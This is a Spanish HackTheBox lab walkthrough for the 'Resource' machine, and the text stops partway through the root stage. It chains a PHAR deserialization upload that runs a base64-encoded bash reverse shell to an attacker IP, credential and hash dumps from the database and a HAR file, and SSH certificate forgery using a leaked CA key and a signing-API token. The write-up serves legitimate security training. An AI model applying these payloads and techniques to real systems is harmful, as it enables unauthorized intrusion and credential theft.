Resource – HackTheBox Link to heading
- OS: Linux
- Difficulty: Hard
- Platform: HackTheBox
Sinopsis Link to heading
“Resource” es una máquina de dificultad Difícil de la plataforma HackTheBox
. Ésta nos enseña cómo performar un ataque de Deserialización para Phar
para ejecutar comandos de manera remota. Además, esta máquina nos enseña principalmente a cómo jugar y manipular llaves/keys de SSH
para obtener acceso a distintos usuarios a través de certificados de SSH
.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
tenemos 3 puertos abiertos: 22
SSH
, 80
HTTP
y 2222
otro servicio SSH
:
❯ sudo nmap -sVC -p22,80,2222 10.10.11.27 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 05:24 -03
Nmap scan report for 10.10.11.27
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA)
|_ 256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.43 seconds
Del output del scan somos capaces de ver un dominio itrc.ssg.htb
. Agregamos este dominio a nuestro archivo /etc/hosts
:
❯ echo '10.10.11.27 itrc.ssg.htb' | sudo tee -a /etc/hosts
Una vez agregado el dominio, podemos visitar http://itrc.ssg.htb
. Podemos ver una página relacionada a IT
para una compañía llamada Strategic Solutions Group (SSG)
:
En la parte superior derecha podemos ver que podemos registrar un usuario. Registramos un simple usuario y ahora el sitio web nos deja solicitar tickets de soporte:
Clickeando en New Ticket
podemos ver que podemos generar un nuevo ticket. Podemos agregar un tema para el ticket, agregar algo de texto explicando el problema en el ticket y un archivo zip
. Creamos un ticket con un simple archivo zip
con un contenido cualquiera:
Podemos ver que nuestro ticket ha sido creado:
Clickeando en nuestros tickets podemos ver los archivos zip
. Si ponemos nuestro mouse sobre el archivo zip
, éste apunta a:
http://itrc.ssg.htb/uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip
El nombre del archivo parece ser generado de manera aleatoria.
Dado que tenemos un directorio /uploads
podemos buscar por más directorios a través de un Brute Force Directory Listing
con Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://itrc.ssg.htb -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://itrc.ssg.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home.php (Status: 200) [Size: 844]
/index.php (Status: 200) [Size: 3120]
/login.php (Status: 200) [Size: 433]
/register.php (Status: 200) [Size: 566]
/uploads (Status: 301) [Size: 314] [--> http://itrc.ssg.htb/uploads/]
/admin.php (Status: 200) [Size: 46]
/assets (Status: 301) [Size: 313] [--> http://itrc.ssg.htb/assets/]
/db.php (Status: 200) [Size: 0]
/api (Status: 301) [Size: 310] [--> http://itrc.ssg.htb/api/]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/dashboard.php (Status: 200) [Size: 46]
/ticket.php (Status: 200) [Size: 46]
/loggedin.php (Status: 200) [Size: 46]
/server-status (Status: 403) [Size: 277]
Podemos ver el directorio /uploads
. También podemos ver una página /admin.php
. Visitando ésta última página, ésta simplemente redirige al portal principal. De manera que puede que necesitemos una cookie/sesión válida para acceder a esta página.
Una cosa interesante acerca de la página que llama mi atención es el que parámetro /?page
nos envía a diferentes páginas dentro del sitio web. Por ejemplo, si queremos registrar un usuario la página es ?page=register
; si nos queremos loguear la página es ?page=login
; si ya estamos logueados el parámetro es ?page=dashboard
; y si queremos crear un nuevo ticket la página es ?page=create_ticket
. Lo que esto significa es que, quizás, a nivel de backend el parámetro page
está llamando a los archivos login.php
, register.php
, dashboard.php
y create_ticket.php
. Basados en el output de Gobuster
, muchos de estos archivos PHP
que son llamados por ?page
sí existen, por lo que puede ser el caso. Por ende, puede que seamos capaces de dirigir esta parámetro al archivo que hemos subido en el ticket. Por ejemplo:
http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip
Ahora, visitando este sitio con cURL
retorna un falso positivo:
❯ curl -s -I 'http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 26 Sep 2024 09:07:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Set-Cookie: PHPSESSID=e8614a61a1c70528469131efa9ba90bf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Esto es porque la petición simplemente redirige a la página principal:
❯ curl -s 'http://itrc.ssg.htb/?page=uploads/3f7b7ff8a222d1751d73cd821e618db702f3d344.zip'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>IT Support Center</title>
<SNIP>
Podemos entonces usar ffuf
para ver si este parámetro es vulnerable a un Path Traversal
. Dado que este parámetro siempre redirigirá a la página principal (o dashboard si nos encontramos logueados), podemos usar el tamaño de la respuesta para filtrar las respuestas no deseadas. Para testear si es vulnerable usamos este diccionario para Path Traversal de wfuzz. También usaremos nuestra cookie cookie/sesión de nuestra página web principal:
❯ ffuf -u 'http://itrc.ssg.htb/?page=FUZZ' -w ./Traversal.txt -H "Cookie: PHPSESSID=2f44f1f3bf7d0a4cdff80b11decbceeb" -c -fs 3985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://itrc.ssg.htb/?page=FUZZ
:: Wordlist : FUZZ: /home/gunzf0x/HTB/HTBMachines/Medium/Resource/content/Traversal.txt
:: Header : Cookie: PHPSESSID=2f44f1f3bf7d0a4cdff80b11decbceeb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 3985
________________________________________________
:: Progress: [68/68] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 2 ::
Pero no tenemos suerte. Por lo que este parámetro puede que no sea vulnerable a Path Traversal
. O al menos no a uno simple que nos permita leer archivos.
Luego de intentar algunas cosas, podríamos intentar un Deserialization Attack
con archivos PHAR
. Podemos usar las pistas proveídas en HackTricks y este post los cuales explican el ataque. Podemos tratar de crear un simple archivo PHP
el cual nos enviará una reverse shell. Además, encodearemos el payload en base64
. Creamos un simple payload y lo comprimimos en un archivo .zip
:
❯ echo 'bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"' | base64 -w0
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYxIgo=%
❯ echo '<?shell_exec(base64_decode("YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0MyAwPiYxIgo="));?>' > shell.php
❯ zip -r shell.zip shell.php
updating: shell.php (deflated 8%)
Aquí, 10.10.16.5
es nuestra IP de atacante y 443
el puerto en el cual nos pondremos en escucha con netcat
.
Creamos un nuevo ticket y subimos el archivo shell.zip
. Visitamos el ticket generado y, de éste, extraemos el link donde se ha subido el archivo en el directorio /uploads
. En mi caso el link generado es:
http://itrc.ssg.htb/uploads/5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip
Empezamos un listener con netcat
en el puerto 443
. Ahora, basados en el Deserialization Attack
para Phar
podemos tratar de visitar:
curl -s 'http://itrc.ssg.htb/?page=phar://<Path uploaded file>'
Para este ejemplo en específico, la ruta es entonces:
❯ curl -s 'http://itrc.ssg.htb/?page=phar://uploads/5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip/shell'
y en neustro listener obtenemos una shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.27] 50692
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@itrc:/var/www/itrc$ whoami
whoami
www-data
En el directorio actual, como ya vimos anteriormente, tenemos muchos archivos PHP
:
www-data@itrc:/var/www/itrc$ ls -la
total 108
drwxr-xr-x 1 www-data www-data 4096 Feb 19 2024 .
drwxr-xr-x 1 www-data www-data 4096 Aug 13 11:13 ..
-rw-rw-r-- 1 www-data www-data 4313 Jan 24 2024 admin.php
drwxrwxr-x 1 www-data www-data 4096 Feb 26 2024 api
drwxrwxr-x 1 www-data www-data 4096 Jan 22 2024 assets
-rw-rw-r-- 1 www-data www-data 979 Jan 23 2024 create_ticket.php
-rw-rw-r-- 1 www-data www-data 344 Jan 24 2024 dashboard.php
-rw-rw-r-- 1 www-data www-data 308 Jan 22 2024 db.php
-rw-rw-r-- 1 www-data www-data 746 Jan 24 2024 filter.inc.php
-rw-rw-r-- 1 www-data www-data 982 Jan 24 2024 footer.inc.php
-rw-rw-r-- 1 www-data www-data 1869 Jan 24 2024 header.inc.php
-rw-rw-r-- 1 www-data www-data 844 Jan 22 2024 home.php
-rw-rw-r-- 1 www-data www-data 368 Feb 19 2024 index.php
-rw-rw-r-- 1 www-data www-data 105 Feb 19 2024 loggedin.php
-rw-rw-r-- 1 www-data www-data 433 Jan 23 2024 login.php
-rw-rw-r-- 1 www-data www-data 73 Jan 22 2024 logout.php
-rw-rw-r-- 1 www-data www-data 566 Jan 23 2024 register.php
-rw-rw-r-- 1 www-data www-data 2225 Feb 6 2024 savefile.inc.php
-rw-rw-r-- 1 www-data www-data 4968 Feb 6 2024 ticket.php
-rw-rw-r-- 1 www-data www-data 1374 Jan 24 2024 ticket_section.inc.php
drwxrwxr-x 1 www-data www-data 4096 Sep 26 09:52 uploads
Leyendo db.php
muestra algo:
<?php
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);
try {
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Connection failed: " . $e->getMessage());
}
Credenciales para una base de datos MySQL
.
No somos capaces de ver los puertos abiertos en la máquina víctima para revisar si MySQL
se encuentra corriendo en la máquina víctima:
www-data@itrc:/var/www/itrc$ netstat -nltp | grep 3306
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Como sea, nos podemos intentar conectar de todas formas al servicio MySQL
, junto con la base de datos db
:
www-data@itrc:/var/www/itrc$ mysql -u jj -pugEG5rR5SG8uPd -h db
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 171
Server version: 11.4.3-MariaDB-ubu2404 mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Somos capaces de ver una base de datos llamada resourcecenter
, con una tabla llamada users
. Revisando qué es lo que tenemos en ella:
MariaDB [resourcecenter]> select * from users;
+----+-------------+--------------------------------------------------------------+-------+------------+
| id | user | password | role | department |
+----+-------------+--------------------------------------------------------------+-------+------------+
| 1 | zzinter | $2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2 | admin | NULL |
| 2 | msainristil | $2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6 | admin | NULL |
| 3 | mgraham | $2y$10$4nlQoZW60mVIQ1xauCe5YO0zZ0uaJisHGJMPNdQNjKOhcQ8LsjLZ2 | user | NULL |
| 4 | kgrant | $2y$10$pLPQbIzcehXO5Yxh0bjhlOZtJ18OX4/O4mjYP56U6WnI6FvxvtwIm | user | NULL |
| 5 | bmcgregor | $2y$10$nOBYuDGCgzWXIeF92v5qFOCvlEXdI19JjUZNl/zWHHX.RQGTS03Aq | user | NULL |
| 9 | gunzf0x | $2y$10$gop2S/9QO9IWrfGFCUmYLOoyU8ulK36UGS.RKXpcNDj04xilpwPhe | user | NULL |
+----+-------------+--------------------------------------------------------------+-------+------------+
6 rows in set (0.001 sec)
Tenemos muchos hashes.
Revisando el directorio /home
en la máquina víctima tenemos 2 usuarios:
www-data@itrc:/var/www/itrc$ ls -la /home
total 20
drwxr-xr-x 1 root root 4096 Aug 13 11:13 .
drwxr-xr-x 1 root root 4096 Aug 13 11:13 ..
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 msainristil
drwx------ 1 zzinter zzinter 4096 Sep 26 08:27 zzinter
Estos usuario son los dos primeros usuarios en la tabla de MySQL
. Guardamos los hashes de estos 2 usuarios en nuestra máquina de atacante.
Tratamos de crackearlos a través de un Brute Force Password Cracking
, pero esto toma demasiado tiempo así que asumo que no es el camnio correcto.
De vuelta al directorio /uploads
podemos ver que tenemos múltiples archivos .zip
. Basados en su fecha de creación, algunos de ellos son más viejos que nuestro archivo recién subido:
www-data@itrc:/var/www/itrc/uploads$ ls -la
total 1160
drwxrwxr-x 1 www-data www-data 4096 Sep 26 10:35 .
drwxr-xr-x 1 www-data www-data 4096 Feb 19 2024 ..
<SNIP>
-rw-r--r-- 1 www-data www-data 211 Sep 26 10:35 5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip
-rw-rw-r-- 1 www-data www-data 1162513 Feb 6 2024 c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
-rw-rw-r-- 1 www-data www-data 634 Feb 6 2024 e8c6575573384aeeab4d093cc99c7e5927614185.zip
-rw-rw-r-- 1 www-data www-data 275 Feb 6 2024 eb65074fe37671509f24d1652a44944be61e4360.zip
<SNIP>
Descomprimiendo todos estos archivos a través de un oneliner de Bash
tenemos ahora:
www-data@itrc:/var/www/itrc/uploads$ for file in *.zip; do unzip $file; done
<SNIP>
Archive: 5e715f269e0d7571ecf1911cb76173e5d11a6a4d.zip
inflating: shell.php
Archive: c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
inflating: itrc.ssg.htb.har
Archive: e8c6575573384aeeab4d093cc99c7e5927614185.zip
inflating: id_rsa.pub
Archive: eb65074fe37671509f24d1652a44944be61e4360.zip
inflating: id_ed25519.pub
Tenemos algunas llaves públicas. También tenemos un archivo .har
.
HTTP
Archive format, or HAR
, is a JSON-formatted archive file format for logging of a web browser’s interaction with a site.De manera que asumo que esta es una especie de archivo JSON
. Leyéndo este archivo muestra un montón de data.
Dado que el archivo descomprimido se encuentra en el directorio /upload
, al cual tenemos acceso, haremos uso del sitio web junto con cURL
para visualizar el archivo. Luego de aplicar algunos filtros vemos lo que parece ser un usuario y una contraseña:
❯ curl -s 'http://itrc.ssg.htb/uploads/itrc.ssg.htb.har' | jq | grep -vE 'port-fill|Transitioning' | grep 'pass' -A 2
"text": "user=msainristil&pass=82yards2closeit",
"params": [
{
--
"name": "pass",
"value": "82yards2closeit"
}
Tenemos credenciales: msainristil:82yards2closeit
.
Como un simple paréntesis, reviso si la password encontrada se encuentra en el diccionario rockyou.txt
, de manera que podríamos haber encontrado esta contraseña usando JohnTheRipper
y los hashes encontrados en la base de datos MySQL
:
❯ grep -n '^82yards2closeit$' /usr/share/wordlists/rockyou.txt
No hallamos nada.
De vuelta del paréntesis, revisamos si nos podemos loguear con estas credenciales usando SSH
a través de NetExec
:
❯ netexec ssh 10.10.11.27 -u 'msainristil' -p '82yards2closeit'
SSH 10.10.11.27 22 10.10.11.27 [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
SSH 10.10.11.27 22 10.10.11.27 [+] msainristil:82yards2closeit (non root) Linux - Shell access!
Y podemos.
Nos conectamos con estas credenciales a través de SSH
:
❯ sshpass -p '82yards2closeit' ssh -o stricthostkeychecking=no msainristil@10.10.11.27
<SNIP>
msainristil@itrc:~$ whoami
msainristil
Pero la flag de usuario no se encuentra aquí. La verdad que es una sorpresa dado que ha sido un largo camino hasta este punto.
Además, notamos que no estamos en la máquina víctima en sí; sino que estamos dentro de un container de Docker
:
msainristil@itrc:~/decommission_old_ca$ hostname -I
172.223.0.3
msainristil@itrc:~$ ls -la / | grep docker
-rwxr-xr-x 1 root root 0 Aug 13 11:13 .dockerenv
Chequeando qué archivos tenemos en el directorio /home
de este usuario retorna:
msainristil@itrc:~$ ls -la
total 32
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 .
drwxr-xr-x 1 root root 4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root root 9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil 220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 msainristil msainristil 807 Mar 29 19:40 .profile
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24 2024 decommission_old_ca
Revisando el directorio decomission_old_ca
tenemos:
msainristil@itrc:~$ ls -la decommission_old_ca/
total 20
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24 2024 .
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
-rw------- 1 msainristil msainristil 2602 Jan 24 2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
Si revisamos estos archivos, resultan ser keys de SSH
(privada y pública, respectivamente):
msainristil@itrc:~$ file decommission_old_ca/ca-itrc
decommission_old_ca/ca-itrc: OpenSSH private key
msainristil@itrc:~$ file decommission_old_ca/ca-itrc.pub
decommission_old_ca/ca-itrc.pub: OpenSSH RSA public key
Parecen ser certificados de SSH
.
Luego de buscar un poco, encontramos este post de StackOverflow el cual explica cómo firmar y autorizar keys cuando tenemos certificados. Primero, generamos una key:
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -t rsa -b 2048 -f keypair
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
The key fingerprint is:
SHA256:LFe6zqE+rqvaSEMcP8TiPQJom/1j5MLgXlpOkD7LDZk msainristil@itrc
The key's randomart image is:
+---[RSA 2048]----+
| |
|. . |
|o+ o . |
|= @ . o |
| @ * .. S |
|+ B * o . |
| E * = o |
|+o% o o+ . |
|o*o+o=+.o |
+----[SHA256]-----+
Luego, la firmamos:
msainristil@itrc:~/decommission_old_ca$ ssh-keygen -s ca-itrc -n zzinter -I anythinghere keypair.pub
Signed user key keypair-cert.pub: id "anythinghere" serial 0 for zzinter valid forever
Aquí, -s
se refiere al signer (el que firma) y -n
para el usuario objetivo. La flag -I
puede contener cualquier string que queramos.
Esto genera archivos 3:
msainristil@itrc:~/decommission_old_ca$ ls -la
total 32
drwxr-xr-x 1 msainristil msainristil 4096 Sep 26 11:08 .
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
-rw------- 1 msainristil msainristil 2602 Jan 24 2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
-rw------- 1 msainristil msainristil 1823 Sep 26 11:08 keypair
-rw-r--r-- 1 msainristil msainristil 1855 Sep 26 11:08 keypair-cert.pub
-rw-r--r-- 1 msainristil msainristil 398 Sep 26 11:08 keypair.pub
Finalmente, pasamos estos archivos desde el container de la máquina víctima a nuestra máquina de atacante usando, por ejemplo, scp
:
❯ sshpass -p '82yards2closeit' scp 'msainristil@10.10.11.27:~/decommission_old_ca/keypair*' ./
❯ ls -la
total 36
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Sep 26 08:13 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Sep 26 05:22 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 142 Sep 26 07:15 hashes_found
-rw------- 1 gunzf0x gunzf0x 1823 Sep 26 08:13 keypair
-rw-r--r-- 1 gunzf0x gunzf0x 1855 Sep 26 08:13 keypair-cert.pub
-rw-r--r-- 1 gunzf0x gunzf0x 398 Sep 26 08:13 keypair.pub
-rw-rw-r-- 1 gunzf0x gunzf0x 5 Sep 26 05:36 test.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 171 Sep 26 05:36 test.zip
-rw-rw-r-- 1 gunzf0x gunzf0x 3388 Sep 26 06:24 Traversal.txt
Podemos entonces usar este archivo generado para loguearnos a través de SSH
como el usuario zzinter
:
❯ ssh -i keypair zzinter@10.10.11.27
<SNIP>
zzinter@itrc:~$ whoami
zzinter
Podemos, finalmente, leer la flag de usuario en el directorio /home
de este usuario.
Root Link to heading
Revisando qué archivos tiene este nuevo usuario, podemos ver:
zzinter@itrc:~$ ls -la
total 32
drwx------ 1 zzinter zzinter 4096 Sep 27 00:47 .
drwxr-xr-x 1 root root 4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root root 9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 zzinter zzinter 220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 zzinter zzinter 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 zzinter zzinter 807 Mar 29 19:40 .profile
-rw-rw-r-- 1 root root 1193 Feb 19 2024 sign_key_api.sh
-rw-r----- 1 root zzinter 33 Sep 27 00:42 user.txt
Hay un script de Bash
llamado sign_key_api.sh
. Leyendo éste tenemos:
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
Este script toma una key pública, un usuario y una lista de acciones/“principals” permitidos. Luego de revisar argumentos válidos, éste envía una llave pública junto con el usuario y un “principal” (que es una especie de “rol” para SSH
) a un dominio remoto llamado signserv.ssg.htb
a través de una petición POST
usando un Bearer
token.
En este punto, para recapitular, notamos algunas cosas:
- Todavía nos encontramos dentro de un container:
zzinter@itrc:~$ hostname -I
172.223.0.3
- El dueño del script encontrado es
root
, de manera que puede que éste sea, similar a como hicimos para la intrusión del usuariozzinter
, un script para firmar llaves para/por este usuario. - El script está enviando la data a
signserv.ssg.htb
. Por lo que agregamos este subdominio a nuestro archivo/etc/hosts
; así, éste se ve ahora como:
❯ tail -n 1 /etc/hosts
10.10.11.27 itrc.ssg.htb signserv.ssg.htb
- Del escaneo de
Nmap
, podemos recordar que el servicioSSH
estaba corriendo en 2 puertos diferentes:22
y2222
. Quizás,22
está corriendo en el contenedor deDocker
y el puerto2222
es el accesoSSH
a la máquina víctima “real” (fuera del container).
Sin embargo, no somos capaces de correr el script en nuestra máquina de atacantes:
zzinter@itrc:~$ ./sign_key_api.sh
-bash: ./sign_key_api.sh: Permission denied
De manera que traemos una copia de este script a nuestra máquina de atacantes.
Una vez descargado, le asignamos permisos de ejecución (ejecutando chmod +x ./sign_key_api.sh
) y ahora sí somos capaces de ejecutar este script:
❯ ./sign_key_api.sh
Usage: ./sign_key_api.sh <public_key_file> <username> <principal>
Necesitamos una key pública. Buscando por archivos .pub
dentro del container con el comando find
tenemos:
zzinter@itrc:/var/www/itrc/uploads$ find / -name "*.pub" -type f 2>/dev/null
/var/www/itrc/uploads/id_ed25519.pub
/var/www/itrc/uploads/id_rsa.pub
/etc/ssh/ssh_host_ed25519_key.pub
/etc/ssh/ssh_host_rsa_key.pub
/etc/ssh/ssh_host_ecdsa_key.pub
/etc/ssh/ca_users_keys.pub
/etc/ssh/ssh_host_ed25519_key-cert.pub
/etc/ssh/ssh_host_ecdsa_key-cert.pub
/etc/ssh/ssh_host_rsa_key-cert.pub
Hay muchos de estos archivos dentro del directorio /etc/ssh
. Pero no nos son útiles de momento (los probé y no funcionan/tenemos permisos de ejecución).
De vuelta al script de Bash
, server_principals
son una especie de “roles válidos” los cuales se asocian con un usuario como se explica aquí. Tenemos, por tanto, 4 roles válidos: webserver
, analytics
, support
y security
. Tratamos entonces de crear un certificado para cada rol en un simple oneliner:
❯ for role in {webserver,analytics,support,security}; do SAVE_FILE="$(echo -n $role)_cert.cert"; ./sign_key_api.sh keypair.pub $role $role > $SAVE_FILE ; done
❯ ls -la *.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 analytics_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 security_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 947 Sep 26 23:02 support_cert.cert
-rw-rw-r-- 1 gunzf0x gunzf0x 951 Sep 26 23:02 webserver_cert.cert
Una de las conexiones es exitosa. Más específicamente para el rol support
usando su respectivo certificado generado para SSH
:
❯ ssh -o CertificateFile=support_cert.cert -i keypair support@10.10.11.27 -p 2222
<SNIP>
support@ssg:~$ whoami
support
support@ssg:~$ hostname -I
10.10.11.27 172.17.0.1 172.21.0.1 172.223.0.1 dead:beef::250:56ff:feb0:ef63
Estamos dentro de la máquina víctima, no en un container.
Buscando más acerca de SSH
Principals
, encontramos este post explicándolos. Allí, se dice que deberíamos de revisar el directorio /etc/ssh
(directorio donde, efectivamente, habíamos encontrado archivos .pub
dentro del container). Así es como encontramos:
support@ssg:~$ ls -la /etc/ssh
total 604
drwxr-xr-x 5 root root 4096 Jul 24 12:24 .
drwxr-xr-x 100 root root 4096 Jul 30 08:45 ..
drwxr-xr-x 2 root root 4096 Feb 8 2024 auth_principals
-rw------- 1 root root 399 Feb 8 2024 ca-analytics
-rw-r--r-- 1 root root 94 Feb 8 2024 ca-analytics.pub
-rw------- 1 root root 432 Feb 8 2024 ca-it
<SNIP>
Hay un directorio auth_principals
en esta ruta.
Dentro de este directorio tenemos 3 archivos:
support@ssg:~$ ls -la /etc/ssh/auth_principals/
total 20
drwxr-xr-x 2 root root 4096 Feb 8 2024 .
drwxr-xr-x 5 root root 4096 Jul 24 12:24 ..
-rw-r--r-- 1 root root 10 Feb 8 2024 root
-rw-r--r-- 1 root root 18 Feb 8 2024 support
-rw-r--r-- 1 root root 13 Feb 8 2024 zzinter
Cada uno de ellos define un “principal”/rol:
support@ssg:/etc/ssh/auth_principals$ cat root
root_user
support@ssg:/etc/ssh/auth_principals$ cat support
support
root_user
support@ssg:/etc/ssh/auth_principals$ cat zzinter
zzinter_temp
2 de ellos son nuevos (los cuales no se encuentran presentes en el script sign_key_api.sh
): root_user
y zzinter_temp
.
Podemos agregar estos roles a la copia del script sign_key_api.sh
que tenemos en nuestra máquina de atacante, de manera que la línea definiendo la variable supported_principals
ahora se ve como:
supported_principals="webserver,analytics,support,security,root_user,zzinter_temp"
Ahora, de manera similar a como generamos el certificado para el usuario support
, vamos a tratar de generar un certificado para los principals/roles root_user
y zzinter_temp
. Si creamos una key para el usuario zzinter
esto funciona:
❯ ./sign_key_api_modified.sh keypair.pub zzinter zzinter_temp
